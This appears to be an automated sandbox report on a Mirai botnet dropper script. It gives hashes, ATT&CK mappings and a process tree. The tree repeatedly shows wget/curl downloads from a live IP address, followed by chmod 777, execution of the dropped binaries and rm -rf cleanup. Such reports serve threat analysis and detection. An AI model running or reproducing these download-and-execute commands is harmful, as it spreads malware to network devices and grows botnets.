mirai | 934a22344fe3c48b4c695979e3190a0e1dc81dd21f86a4029ec9d1fa536049c7

Analysis

max time kernel
35s
max time network
36s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/06/2026, 14:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260623-rbhfqadv31
SHA256 934a22344fe3c48b4c695979e3190a0e1dc81dd21f86a4029ec9d1fa536049c7
MD5 43316a7b64fc81d1c1f1672af11637ce
SHA1 a3ccba0adba797e0461cfc192f4d2427e2f7ce11
SHA512 82236979a449a036b96b8961718073f7351bfc57167413a79ba4f5539e8ba87af441a70b453003976903b278cb84156a7c5f2a5f34b580fa8a33cdcb5b6f37f6
TLSH
T1373180EF11111A351212CEDE73B23149B10C99FB2C9BDB989D484EA9938D5CCB125FC9
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery mirai

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
766	chmod
775	chmod
782	chmod
796	chmod
804	chmod
810	chmod
836	chmod
752	chmod
759	chmod
789	chmod
817	chmod
824	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/d4f738	753	ok.sh
/tmp/156231	760	ok.sh
/tmp/01ae15	767	ok.sh
/tmp/5d9f3d	776	ok.sh
/tmp/f273ee	783	ok.sh
/tmp/1b1eca	790	ok.sh
/tmp/e51801	811	ok.sh
/tmp/071094	818	ok.sh
/tmp/865dd0	825	ok.sh
/tmp/43252c	837	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/e51801	curl
File opened for modification	/tmp/071094	curl
File opened for modification	/tmp/865dd0	curl
File opened for modification	/tmp/d4f738	wget
File opened for modification	/tmp/156231	curl
File opened for modification	/tmp/f273ee	curl
File opened for modification	/tmp/1b1eca	curl
File opened for modification	/tmp/43252c	curl
File opened for modification	/tmp/d4f738	curl
File opened for modification	/tmp/156231	wget
File opened for modification	/tmp/01ae15	wget
File opened for modification	/tmp/01ae15	curl
File opened for modification	/tmp/5d9f3d	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:648
- /usr/bin/wget
  wget http://5.182.210.61/d4f738
  2⤵
  - Writes file to tmp directory
  PID:654
- /usr/bin/curl
  curl -O http://5.182.210.61/d4f738
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 d4f738
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/d4f738
  ./d4f738 bc
  2⤵
  PID:753
- /bin/rm
  rm -rf d4f738
  2⤵
  PID:755
- /bin/rm
  rm -rf d4f738.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://5.182.210.61/156231
  2⤵
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.61/156231
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 156231
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/156231
  ./156231 bc
  2⤵
  PID:760
- /bin/rm
  rm -rf 156231
  2⤵
  PID:762
- /bin/rm
  rm -rf 156231.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.61/01ae15
  2⤵
  - Writes file to tmp directory
  PID:764
- /usr/bin/curl
  curl -O http://5.182.210.61/01ae15
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 01ae15
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/01ae15
  ./01ae15 bc
  2⤵
  PID:767
- /bin/rm
  rm -rf 01ae15
  2⤵
  PID:769
- /bin/rm
  rm -rf 01ae15.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://5.182.210.61/5d9f3d
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://5.182.210.61/5d9f3d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod 777 5d9f3d
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/5d9f3d
  ./5d9f3d bc
  2⤵
  PID:776
- /bin/rm
  rm -rf 5d9f3d
  2⤵
  PID:778
- /bin/rm
  rm -rf 5d9f3d.1
  2⤵
  PID:779
- /usr/bin/wget
  wget http://5.182.210.61/f273ee
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://5.182.210.61/f273ee
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 f273ee
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/f273ee
  ./f273ee bc
  2⤵
  PID:783
- /bin/rm
  rm -rf f273ee
  2⤵
  PID:785
- /bin/rm
  rm -rf f273ee.1
  2⤵
  PID:786
- /usr/bin/wget
  wget http://5.182.210.61/1b1eca
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://5.182.210.61/1b1eca
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 1b1eca
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/1b1eca
  ./1b1eca bc
  2⤵
  PID:790
- /bin/rm
  rm -rf 1b1eca
  2⤵
  PID:792
- /bin/rm
  rm -rf 1b1eca.1
  2⤵
  PID:793
- /usr/bin/wget
  wget http://5.182.210.61/cb87c3
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://5.182.210.61/cb87c3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:795
- /bin/chmod
  chmod 777 cb87c3
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/cb87c3
  ./cb87c3 bc
  2⤵
  PID:797
- /bin/rm
  rm -rf cb87c3
  2⤵
  PID:798
- /bin/rm
  rm -rf cb87c3.1
  2⤵
  PID:799
- /usr/bin/wget
  wget http://5.182.210.61/a287a6
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://5.182.210.61/a287a6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:801
- /bin/chmod
  chmod 777 a287a6
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/a287a6
  ./a287a6 bc
  2⤵
  PID:805
- /bin/rm
  rm -rf a287a6
  2⤵
  PID:806
- /bin/rm
  rm -rf a287a6.1
  2⤵
  PID:807
- /usr/bin/wget
  wget http://5.182.210.61/e51801
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://5.182.210.61/e51801
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 e51801
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/e51801
  ./e51801 bc
  2⤵
  PID:811
- /bin/rm
  rm -rf e51801
  2⤵
  PID:813
- /bin/rm
  rm -rf e51801.1
  2⤵
  PID:814
- /usr/bin/wget
  wget http://5.182.210.61/071094
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://5.182.210.61/071094
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 071094
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/071094
  ./071094 bc
  2⤵
  PID:818
- /bin/rm
  rm -rf 071094
  2⤵
  PID:820
- /bin/rm
  rm -rf 071094.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://5.182.210.61/865dd0
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://5.182.210.61/865dd0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 865dd0
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/865dd0
  ./865dd0 bc
  2⤵
  PID:825
- /bin/rm
  rm -rf 865dd0
  2⤵
  PID:827
- /bin/rm
  rm -rf 865dd0.1
  2⤵
  PID:828
- /usr/bin/wget
  wget http://5.182.210.61/43252c
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://5.182.210.61/43252c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod 777 43252c
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/43252c
  ./43252c bc
  2⤵
  PID:837
- /bin/rm
  rm -rf 43252c
  2⤵
  PID:839
- /bin/rm
  rm -rf 43252c.1
  2⤵
  PID:840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

01ae15

Path /tmp/01ae15
Size 49KB
SHA256 3a4b1b5eb7f348e86ac9d6e13e71a29804303f93dd89e82cbffc757e2c65ab48
MD5 e67ac54d2d48d1a0b1f4790667207523
SHA1 8b6dfc42548868273d287dce864273862d27fb39
SHA512 094dcd410b1fd82e34d51b17a7b424119e3d4ef140958437b62877690039996f6b7f068788887464bb7254606977c37978fadd135ef1f87971b58af623cb1d7a
SSDEEP 768:2SUI/1QMaBpLq9fAXqLAFt4rrBdPBVg16EW3/GsO+4U:JNWMaBpLSfA6LAFt4rrBd5Vgy3P4U
TLSH
T112332A2279391E1BC0D4A9BA62F74768B2F2074F25ECCA1EBD720E4EFF1564065136B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

156231

Path /tmp/156231
Size 42KB
SHA256 459d8396f635b67eb1324e553de8187306a108f4f0f7d78792cd3abfcbcfe900
MD5 8138ef28c74c45c7b23a06dfb18ea623
SHA1 e808d439e9e77f83e7ee7c2eedd219e2941ab46e
SHA512 9df2446323d0e716389ec98e1b322efb609adedc6a9d3c2440383e4bd766a48667fe74f06db82caed84c25f8493602fb99996af68f41b26341e9815ee33b562d
SSDEEP 768:uz+lspGNniKngQlUDM7rMq4NHyIZKBXWJyLxtQAJ/9M2eHfgt:uzispgniKngQlUDSrMq4NHwZL0AJ/9MC
TLSH
T172133AC0E903E9F4DC1546B5317AF7799BB7F03B112DDC87C3A8E836A846A41D6062AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5d9f3d

Path /tmp/5d9f3d
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

d4f738

Path /tmp/d4f738
Size 45KB
SHA256 0e596de45a903f2021988805644dcdcfb5455885c36bcb6a2d4af0743b83dbce
MD5 1474d6fb67318c10e7d4e36de8059b04
SHA1 4352ad7850ecd2889f170ee897d76f9fb3836592
SHA512 b6ffd280f4e9b7f4ac5f107fbb104287950eed46c0e7e1a1f3006f0860d9c8852c1281347e7ae0ee703e0d013b3699dec7708193d62d0dbe7e32df34f296a57d
SSDEEP 768:iTZRxyDuMtbB1yaMg/Iq53toN22bT5W/MitXmrZ3u0VFDzk:4xKnbB1yaCq53qU2bT5W0NrZ3Nzk
TLSH
T1F0231703B98080FCC499C2B4077BB67ED57375BE0239B2EA7BD4FE166986E220E5D505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads